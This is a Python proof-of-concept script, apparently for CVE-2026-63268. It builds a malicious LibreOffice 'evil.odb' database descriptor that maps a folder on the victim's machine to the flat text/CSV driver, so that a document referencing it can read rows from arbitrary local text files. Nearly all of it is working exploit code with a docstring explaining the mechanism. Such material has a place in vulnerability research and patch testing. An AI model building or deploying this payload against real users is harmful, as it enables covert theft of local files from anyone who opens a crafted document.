#!/usr/bin/env python3
"""Build the attacker 'evil.odb' text-database descriptor (CVE-2026-63268).

The odb names a folder of local text files on the victim machine as a database:

    <db:file-based-database xlink:href="file:///<victim folder>"
                            db:media-type="text/csv"/>

When LibreOffice loads this database document, it maps media-type "text/csv"
(Drivers.xcu: "sdbc:flat:*" -> MediaType text/csv) to the sdbc:flat driver and
constructs the connection URL

    "sdbc:flat:" + <victim folder>       (i.e. sdbc:flat:file:///<victim folder>)

The flat (Text/CSV) SDBC driver treats every file in that folder as a table of
the database, so a document that references this odb can SELECT arbitrary rows
out of any local text file.
"""
import sys
import zipfile

ODB_MIMETYPE = "application/vnd.sun.star.base"

CONTENT = """<?xml version="1.0" encoding="UTF-8"?>
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"
 xmlns:db="urn:oasis:names:tc:opendocument:xmlns:database:1.0"
 xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">
 <office:body>
  <office:database>
   <db:data-source>
    <db:connection-data>
     <db:database-description>
      <db:file-based-database xlink:href="{href}" db:media-type="text/csv"/>
     </db:database-description>
     <db:login db:is-password-required="false"/>
    </db:connection-data>
    <db:driver-settings db:system-driver-settings="" db:base-dn="" db:parameter-name-substitution="false"/>
    <db:application-connection-settings db:is-table-name-length-limited="false" db:append-table-alias-name="false" db:max-row-count="1000">
     <db:table-filter>
      <db:table-include-filter>
       <db:table-filter-pattern>%</db:table-filter-pattern>
      </db:table-include-filter>
     </db:table-filter>
    </db:application-connection-settings>
   </db:data-source>
  </office:database>
 </office:body>
</office:document-content>
"""

SETTINGS = """<?xml version="1.0" encoding="UTF-8"?>
<office:document-settings xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" office:version="1.2"/>
"""

MANIFEST = """<?xml version="1.0" encoding="UTF-8"?>
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
 <manifest:file-entry manifest:full-path="/" manifest:media-type="application/vnd.sun.star.base"/>
 <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>
 <manifest:file-entry manifest:full-path="settings.xml" manifest:media-type="text/xml"/>
</manifest:manifest>
"""


def build(path, folder_url):
    """Write the odb. `folder_url` is a file:// URL of the victim's folder."""
    content = CONTENT.format(href=folder_url)
    with zipfile.ZipFile(path, "w") as z:
        # mimetype must be the first, uncompressed entry
        zi = zipfile.ZipInfo("mimetype")
        z.writestr(zi, ODB_MIMETYPE, zipfile.ZIP_STORED)
        z.writestr("content.xml", content)
        z.writestr("settings.xml", SETTINGS)
        z.writestr("META-INF/manifest.xml", MANIFEST)


if __name__ == "__main__":
    build(sys.argv[1], sys.argv[2])
